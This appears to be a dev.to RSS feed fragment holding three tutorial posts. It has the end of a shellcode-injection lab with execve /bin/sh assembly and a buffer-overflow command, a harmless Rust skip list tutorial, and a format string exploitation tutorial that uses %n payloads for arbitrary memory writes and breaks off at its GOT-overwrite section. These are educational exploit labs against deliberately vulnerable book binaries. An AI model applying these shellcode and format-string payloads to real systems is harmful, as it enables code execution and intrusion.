&lt;/div&gt;



&lt;p&gt;You can try it out with &lt;code&gt;gcc shell.c -o shell; chmod +x shell; ./shell&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;If you search on the internet, you will find that&lt;a href="https://man7.org/linux/man-pages/man3/system.3.html" rel="noopener noreferrer"&gt;system&lt;/a&gt; internally calls &lt;a href="https://man7.org/linux/man-pages/man3/execl.3.html" rel="noopener noreferrer"&gt;execl&lt;/a&gt;, which is build on top of the&lt;a href="https://man7.org/linux/man-pages/man2/execve.2.html" rel="noopener noreferrer"&gt;execve&lt;/a&gt; system call. Execve receives three parameters: the program, the argument to the program, and key-value pairs to be passed as the environment. In our case, to spawn a shell, we are only interested in the first argument. Overall, building an assembly program that spawns a shell seems easy. Just call &lt;code&gt;execve&lt;/code&gt; with &lt;code&gt;/bin/sh&lt;/code&gt; as the program name.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;BITS 64

jmp short bottom

above:
; write
xor rax, rax
mov al, 59
xor rdi, rdi
pop rdi
xor rsi, rsi
xor rdx, rdx
syscall

; exit
mov al, 60
dec rdi
syscall

bottom:
call above
db "/bin/sh"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Let’s try to inject it.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;nasm shell.asm; \
export SHELLCODE=$(cat shell); \
~/Desktop/getenvaddr SHELLCODE ~/Desktop/notesearch; \
~/Desktop/notesearch $(perl -e 'print "\x90" x 120, "\xb3\xef\xff\xff\xff\x7f\x00\x00"')
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk00sb2344neonbvg2m67.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fk00sb2344neonbvg2m67.webp" width="800" height="157"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We got shell access!!!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Skip List (in Rust) explained!</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Sat, 18 May 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/skip-list-in-rust-explained-3cpl</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/skip-list-in-rust-explained-3cpl</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q896sqg90rs616lirlf.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7q896sqg90rs616lirlf.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
What’s a Skip List?

&lt;ul&gt;
&lt;li&gt;Search&lt;/li&gt;
&lt;li&gt;Insert&lt;/li&gt;
&lt;li&gt;Delete&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

Rust implementation

&lt;ul&gt;
&lt;li&gt;Basic structure&lt;/li&gt;
&lt;li&gt;Search&lt;/li&gt;
&lt;li&gt;Insert&lt;/li&gt;
&lt;li&gt;Delete&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;/ul&gt;

&lt;h1&gt;
  
  
  What’s a Skip List?
&lt;/h1&gt;

&lt;p&gt;A Skip List is a probabilistic data structure that serves as an alternative to balanced trees. They are simpler to implement and provide logarithmic search, insertion and removal. However, they take up more memory.&lt;/p&gt;

&lt;p&gt;Regarding the structure, a Skip List is no more than “n” linked lists. Conceptually, they are stacked on top of each other. For example, the next image shows a Skip List with four layers.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qryifaccc0uw3fw4lbp.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F8qryifaccc0uw3fw4lbp.webp" width="645" height="87"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Let’s briefly explain how each of the operations works at a high level. To know all the details, please, read the &lt;a href="https://15721.courses.cs.cmu.edu/spring2018/papers/08-oltpindexes1/pugh-skiplists-cacm1990.pdf" rel="noopener noreferrer"&gt;original whitepaper&lt;/a&gt;. After that, we will see a Rust implementation.&lt;/p&gt;

&lt;h2&gt;
  
  
  Search
&lt;/h2&gt;

&lt;p&gt;We start at the topmost layer of the first node. If the next node value is lower than the value we are searching for, we go forward. Otherwise, we go downwards. If we repeat this in a loop, we will end at a node in the bottommost layer. We just need to check if this node contains the value that we want.&lt;/p&gt;

&lt;p&gt;You can see on the next image, marked with a red line, the path the algorithm will follow to search for node 762.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcnlkd10ffzoqe52nn5g7.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fcnlkd10ffzoqe52nn5g7.webp" width="648" height="82"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;If we search 700, the algorithm would follow the same path until node 641. Since the next node value is 762, which is bigger, it wouldn’t find the value.&lt;/p&gt;

&lt;h2&gt;
  
  
  Insert
&lt;/h2&gt;

&lt;p&gt;As with searching, we go forward if the value is smaller and downwards if bigger. Now, every time we go downward we will store the pointer of that node. Once we have found the spot to insert our new node, we will visit the nodes where we went down in reverse order and update the successors if the algorithm decides that we need to insert the new node at that level. That is done randomly.&lt;/p&gt;

&lt;p&gt;For example, let’s say we want to insert the value 700. First, the algorithm would follow the path marked with a red line in the following image. It would store nodes with values None, 446, and 641. The new node will be inserted between 641 and 762. Then, we proceed to visit node 641 and randomly choose if the new node should be a successor. We repeat that for 446 and None if required.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jsmn2eeijo4y9d3jh43.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F3jsmn2eeijo4y9d3jh43.webp" width="648" height="89"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Delete
&lt;/h2&gt;

&lt;p&gt;This is similar to the insert algorithm. Now, instead of adding a new node, we will visit each node where we went downwards and update the successors to remove the node.&lt;/p&gt;

&lt;h1&gt;
  
  
  Rust implementation
&lt;/h1&gt;

&lt;p&gt;You can see the full implementation&lt;a href="https://github.com/danielorihuela/algorithms-and-data-structures/blob/master/list/skip_list/src/main.rs" rel="noopener noreferrer"&gt;https://github.com/danielorihuela/algorithms-and-data-structures/blob/master/list/skip_list/src/main.rs&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Important details for those who want to implement it on Rust.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;You can see &lt;a href="https://github.com/JP-Ellis/rust-skiplist" rel="noopener noreferrer"&gt;https://github.com/JP-Ellis/rust-skiplist&lt;/a&gt; an advanced implementation.&lt;/li&gt;
&lt;li&gt;Building linked lists on Rust is unusually hard. Check&lt;a href="https://rust-unofficial.github.io/too-many-lists/" rel="noopener noreferrer"&gt;https://rust-unofficial.github.io/too-many-lists/&lt;/a&gt; first.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Basic structure
&lt;/h2&gt;

&lt;p&gt;Take into account that we need to init all “forward” vectors to be of length “max_level” to identify the next node of the current layer. Otherwise, you might end up changing from the linked list on layer 3 to the linked list on layer 2 without your knowledge.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;struct SkipList&amp;lt;T&amp;gt; {
    head: NonNull&amp;lt;Node&amp;lt;T&amp;gt;&amp;gt;,
    max_level: usize,
}

type Link&amp;lt;T&amp;gt; = Option&amp;lt;NonNull&amp;lt;Node&amp;lt;T&amp;gt;&amp;gt;&amp;gt;;

#[derive(Clone, Debug)]
struct Node&amp;lt;T&amp;gt; {
    // If the value is None, this is the sentinel value
    value: Option&amp;lt;T&amp;gt;,
    forward: Vec&amp;lt;Link&amp;lt;T&amp;gt;&amp;gt;,
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Search
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fn search(&amp;amp;self, v: &amp;amp;T) -&amp;gt; bool {
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &amp;amp;value &amp;lt; v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }
    }

    let node = get_forward(node)[0];
    node.map(value).is_some_and(|n| n.as_ref() == Some(v))
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Insert
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fn insert(&amp;amp;mut self, v: &amp;amp;T) {
    let mut update = vec![None; self.max_level];
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &amp;amp;value &amp;lt; v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }

        // Store nodes where we went downwards
        update[i] = Some(node);
    }

    let node = get_forward(node)[0];
    if node.map(value).is_some_and(|n| n.as_ref() == Some(v)) {
        println!("{} is already in the list", v);
    }

    let level = rand::thread_rng().gen_range(0..self.max_level);
    let mut x = unsafe {
        NonNull::new_unchecked(Box::into_raw(Box::new(Node {
            value: Some(v.clone()),
            forward: vec![None; self.max_level],
        })))
    };

    // For each node where we went downwards
    for i in 0..=level {
        // Update the successors accordingly
        if update[i].is_none() {
            get_forward_mut(&amp;amp;mut x)[i] = get_forward(self.head)[i];
            get_forward_mut(&amp;amp;mut self.head)[i] = Some(x);
        } else {
            get_forward_mut(&amp;amp;mut x)[i] = get_forward(update[i].unwrap())[i];
            get_forward_mut(&amp;amp;mut update[i].unwrap())[i] = Some(x);
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Delete
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;fn delete(&amp;amp;mut self, v: &amp;amp;T) {
    let mut update = vec![None; self.max_level];
    let mut node = self.head;

    // Go downwards
    for i in (0..self.max_level).rev() {
        let mut next = get_forward(node)[i];

        // If value is lower, go forward
        while next.and_then(value).is_some_and(|value| &amp;amp;value &amp;lt; v) {
            node = next.unwrap();
            next = get_forward(node)[i];
        }

        // Store nodes where we went downwards
        update[i] = Some(node);
    }

    let node = get_forward(node)[0];
    if node.map(value).is_some_and(|n| n.as_ref() == Some(v)) {

        // For each node where we went downwards
        for i in 0..self.max_level {
            if let Some(mut update_i) = update[i] {
                if get_forward(update_i)[i] != node {
                    break;
                } else {
                    // Update the successors accordingly
                    get_forward_mut(&amp;amp;mut update_i)[i] = get_forward(node.unwrap())[i];
                }
            }
        }
    }
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



</description>
    </item>
    <item>
      <title>Format string vulnerability</title>
      <dc:creator>daniel orihuela</dc:creator>
      <pubDate>Mon, 29 Jan 2024 00:00:00 +0000</pubDate>
      <link>https://dev.to/daniel_orihuela_96731fc2e/format-string-vulnerability-3hac</link>
      <guid>https://dev.to/daniel_orihuela_96731fc2e/format-string-vulnerability-3hac</guid>
      <description>&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsiy5w4h0g7989q714r8l.jpg" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fsiy5w4h0g7989q714r8l.jpg" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;What’s a format string vulnerability?&lt;/li&gt;
&lt;li&gt;What’s the problem?&lt;/li&gt;
&lt;li&gt;Format String vulnerability demo&lt;/li&gt;
&lt;li&gt;Write to memory address&lt;/li&gt;
&lt;li&gt;Write arbitrary bytes to memory address&lt;/li&gt;
&lt;li&gt;Direct access and short writes&lt;/li&gt;
&lt;li&gt;Overwrite Global Offset Table to get a shell&lt;/li&gt;
&lt;li&gt;Conclusion&lt;/li&gt;
&lt;/ul&gt;

&lt;h1&gt;
  
  
  What’s a format string vulnerability?
&lt;/h1&gt;

&lt;p&gt;A format string vulnerability is a type of bug that can happen when we process user input with format strings. For example, C has several functions that allow it to do that. One of them is &lt;code&gt;printf&lt;/code&gt; (e.g.&lt;code&gt;printf("I am %i years old", 999);&lt;/code&gt;). An attacker can exploit them to read and write to arbitrary memory locations, execute arbitrary code or make the program crash.&lt;/p&gt;

&lt;h1&gt;
  
  
  What’s the problem?
&lt;/h1&gt;

&lt;p&gt;The main problem is that the format string, when unchecked, let’s user insert format parameters to read and write memory addresses inside and before the stack. For example, let’s take the following C line of code.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;printf("hello %x %x", 3, 7);
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;If we run it, the output will be &lt;code&gt;hello 3 7&lt;/code&gt;. The parameters are pushed into the stack in reverse order. It pushes the 7, the 3, and the address of the format string. However, if we remove the 7 and rerun it, we will see something like &lt;code&gt;hello 3 0xbfffff8b&lt;/code&gt;. The format string will get the data from where the argument should have been placed. In that case, from the first address below the stack frame.&lt;/p&gt;

&lt;h1&gt;
  
  
  Format String vulnerability demo
&lt;/h1&gt;

&lt;p&gt;All the vulnerable programs are from Hacking: The Art of Exploitation, 2nd Edition. You can get the original source code&lt;a href="https://github.com/intere/hacking/blob/master/booksrc" rel="noopener noreferrer"&gt;https://github.com/intere/hacking/blob/master/booksrc&lt;/a&gt;.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;
#include &amp;lt;stdlib.h&amp;gt;
#include &amp;lt;string.h&amp;gt;

int main(int argc, char *argv[]) {
   char text[1024];
   static int test_val = -72;

   if(argc &amp;lt; 2) {
      printf("Usage: %s &amp;lt;text to print&amp;gt;\n", argv[0]);
      exit(0);
   }
   strcpy(text, argv[1]);

   printf("The right way to print user-controlled input:\n");
   printf("%s", text);

   printf("\nThe wrong way to print user-controlled input:\n");
   printf(text);

   printf("\n");

   // Debug output
   printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &amp;amp;test_val, test_val, test_val);

   exit(0);
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The code is quite self-explanatory. The vulnerable line of code is:&lt;code&gt;printf(text)&lt;/code&gt;. Notice that it will print whatever the user feeds to it as input. We can pass any format string that we want. Before continuing, let’s see how to compile the program.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gcc fmt_vuln.c -o fmt.out -fno-stack-protector -no-pie -m32
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;-fno-stack-protector&lt;/code&gt; to disable canaries&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-no-pie&lt;/code&gt; to disable Position Independent Executable&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;-m32&lt;/code&gt; to compile it as a 32 bit binary&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Let’s continue with the exploit. The following image shows two executions.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyx1uni61x6b9wmisikc.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyx1uni61x6b9wmisikc.webp" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first executions gets &lt;code&gt;"something"&lt;/code&gt; as input. The output is the expected one. The interesting part is in the second execution, where we pass &lt;code&gt;$(printf "\x2c\xc0\x04\x08").%08x.%08x.%08x.%n&lt;/code&gt; as input (the dots are just to make the output clearer). As a result, we overwrite the&lt;code&gt;test_val&lt;/code&gt; variable. How is that possible? Let’s see. The format string is crafted to accomplish three things. First, we push the &lt;code&gt;test_val&lt;/code&gt;memory address into the stack with &lt;code&gt;$(printf "\x2c\xc0\x04\x08")&lt;/code&gt;. Second, we read memory address until we reach the data we inserted at the beginning of the format string with &lt;code&gt;%08x.%08x.%08x&lt;/code&gt;. I didn’t know beforehand that I needed to read three addresses, I checked it manually. Third and last, we overwrite the data in &lt;code&gt;test_val&lt;/code&gt; with the number of characters printed by printf with &lt;code&gt;%n&lt;/code&gt;. For clarification, when we call&lt;code&gt;%n&lt;/code&gt;, we already traversed all the memory addresses until the one containing &lt;code&gt;\x2c\xc0\x04\x08&lt;/code&gt;. Therefore, &lt;code&gt;%n&lt;/code&gt; overwrites the data in that memory address, which happens to be &lt;code&gt;test_val&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Similarly, if we increment the width of some of the format string parameters, we can overwrite &lt;code&gt;test_val&lt;/code&gt; with higher values.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmh12j890r5jcy1w521w.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Ftmh12j890r5jcy1w521w.webp" width="800" height="144"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;That’s seemingly stupid thing is really powerful. We can overwrite memory addresses with whatever value we want (e.g another memory address). That’s the idea of the exploit. Let’s jump to the following exercise.&lt;/p&gt;

&lt;h1&gt;
  
  
  Write to memory address
&lt;/h1&gt;

&lt;p&gt;In that first exercise, we will see how to overwrite the value with the memory address &lt;code&gt;ddccbbaa&lt;/code&gt;. Of course, you can follow these steps to overwrite it with any other memory address of your liking. The only prerequisite is that the hexadecimal values of each byte must be greater than the value of the following one.&lt;/p&gt;

&lt;p&gt;To write &lt;code&gt;ddccbbaa&lt;/code&gt;, we need go byte by byte. We cannot write them at once. That means that &lt;code&gt;$(printf "\x2c\xc0\x04\x08")&lt;/code&gt; won’t be enough. We need to push the following three memory addresses into the stack. We can do that with something like&lt;code&gt;$(printf "{address 1}{address 2}{address 3}{address 4}")&lt;/code&gt;. Besides, we also need to overwrite them. For example,&lt;code&gt;$(printf "{address 1}{address 2}{address 3}{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n&lt;/code&gt;, where each &lt;code&gt;%{number}%n&lt;/code&gt; is overwriting one byte. There’s one issue, though. We must add 4 bytes between each memory address so that each&lt;code&gt;%n&lt;/code&gt; overwrites the correct memory address. Remember, each format parameter is reading a memory address from the stack. If we don’t add 4 bytes between each address, the &lt;code&gt;%{number}x&lt;/code&gt; would read one of the memory addresses we want to overwrite. Thus, we want something similar to&lt;code&gt;$(printf "{address 1}JUNK{address 2}JUNK{address 3}JUNK{address 4}").%08x.%08x.%{number 1}x%n%{number 2}x%n%{number 3}x%n%{number 4}%n&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Great! We have the structure, but how do we compute the numbers for each&lt;code&gt;%x&lt;/code&gt;?&lt;/p&gt;

&lt;p&gt;For the firts byte, we want to execute the command&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;./fmt.out $(printf "\x2c\xc0\x04\x08JUNK\x2d\xc0\x04\x08JUNK\x2e\xc0\x04\x08JUNK\x2f\xc0\x04\x08").%08x.%08x.%08x.%n
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;which will give us the value of &lt;code&gt;test_val&lt;/code&gt; (56). With that, we can compute the first number with the formula “expected value - initial value + 8”. That will give us the distance from the actual value stored in the variable to the value we want. The ”+ 8” comes from the 8 digits we are inserting in the &lt;code&gt;%08x&lt;/code&gt; that appears before &lt;code&gt;%n&lt;/code&gt;. We can compute this with gdb.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;gdb -q --batch --ex "p 0xaa - 56 + 8"
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Now, we can execute the following to get the first byte.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F36h3tmv2j5q3ubhk4j8s.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F36h3tmv2j5q3ubhk4j8s.webp" width="800" height="61"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;For the following bytes, we have to do the same. However, to compute the numbers, we will use the formula “expected value - previous written value”.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkmt4o762tqy0uv02tcb.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwkmt4o762tqy0uv02tcb.webp" width="800" height="195"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Awesome! We know how to overwrite memory addresses, but we are rather limited. The bytes must be ordered in descending value. What if we want to write any arbitrary memory address? We cannot do something like&lt;code&gt;%-10x%n&lt;/code&gt;. What do we do in those situations?&lt;/p&gt;

&lt;h1&gt;
  
  
  Write arbitrary bytes to memory address
&lt;/h1&gt;

&lt;p&gt;The solution for that is straigth forward. We want to “wrap” the smaller byte. In other words, instead of computing “expected value - previous written value” we will compute “1(expected value) - previous written value” (e.g. 0x1aa - 0xbb given that we want to write 0xaa). The procedure stays the same.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gkhrrnwi29pvkcl9rc8.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F5gkhrrnwi29pvkcl9rc8.webp" width="800" height="212"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Amazing! But this is to much work, can’t we simplify it a little bit?&lt;/p&gt;

&lt;h1&gt;
  
  
  Direct access and short writes
&lt;/h1&gt;

&lt;p&gt;There are two ways to simplify the process. First, we can use direct access to avoid writing numerous format parameters. We can use &lt;code&gt;%n$d&lt;/code&gt;where &lt;code&gt;%n&lt;/code&gt; indicates the argument position and &lt;code&gt;$d&lt;/code&gt; indicates the format parameter type.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zeerbecox8rkyis425g.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F9zeerbecox8rkyis425g.webp" width="469" height="113"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;We can simplify what we did in the previous section. Be aware that the structure changes a bit. We want to use&lt;code&gt;$(printf "{address 1}{address 2}{address 3}{address 4}")%{number 1}x%4\$n%{number 2}x%5\$n%{number 3}x%6\$n%{number 4}x%7\$n%&lt;/code&gt;. Notice that we no longer need:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;the padding between memory addresses&lt;/li&gt;
&lt;li&gt;to add 8 when computing the first value&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7froje7gbti2p8k6xsvt.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F7froje7gbti2p8k6xsvt.webp" width="800" height="229"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;But that’s not all. We can also use short writes to write two bytes at once. We need to use &lt;code&gt;%n$hd&lt;/code&gt;, remove the second and fourth memory addresses, and compute the new values.&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwc667pojiduamivsw525.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwc667pojiduamivsw525.webp" width="800" height="220"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxdmp9zcyya60kj9dskku.webp" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fxdmp9zcyya60kj9dskku.webp" width="506" height="45"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Pretty neat, eh? With that knowledge, we could get a shell if we wanted to.&lt;/p&gt;

&lt;h1&gt;
  
  
